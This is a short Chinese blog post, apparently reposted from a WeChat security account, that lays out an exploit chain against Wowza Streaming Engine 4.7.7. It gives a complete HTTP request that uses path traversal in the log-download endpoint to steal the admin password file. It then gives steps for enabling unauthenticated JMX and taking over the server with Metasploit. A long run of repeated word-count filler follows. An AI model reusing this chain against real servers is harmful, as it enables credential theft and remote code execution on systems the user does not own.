Wowza Streaming Engine 后台rce

  • A+
所属分类:代码审计

只存在于老版本中,测试版本如下,需要低权限用户登录。

Wowza Streaming Engine 4 Developer Edition (Expires: 四月 13, 2021) 4.7.7 build20181108145350

任意文件读取

Wowza Streaming Engine 后台rce

GET /enginemanager/server/logs/download?logType=access&logName=./../../../../../usr/local/WowzaStreamingEngine-4.7.7/conf/admin.password&logSource=a HTTP/1.1
Host: 172.16.2.131:8088
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.2.131:8088/enginemanager/Home.htm
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=60f7f4bb48d9970f76166ce34a446ade; DoNotShowFTU=true; showRightRail=true; lastTab=Stores

Connection: close




去读/usr/local/WowzaStreamingEngine-4.7.7/conf/admin.password,下回来的是压缩包,解压出来有管理员密码。

Wowza Streaming Engine 后台rce

然后 http://172.16.2.131:8088/ 登陆,开启jmx并关闭验证,会提示你重启。

Wowza Streaming Engine 后台rce

重启后目标开启8085,8084端口

Wowza Streaming Engine 后台rce

然后msf直接打

Wowza Streaming Engine 后台rce

凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数

分享、点赞、看就是对我们的一种支持!

Wowza Streaming Engine 后台rce


本文始发于微信公众号(ChaBug):Wowza Streaming Engine 后台rce

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: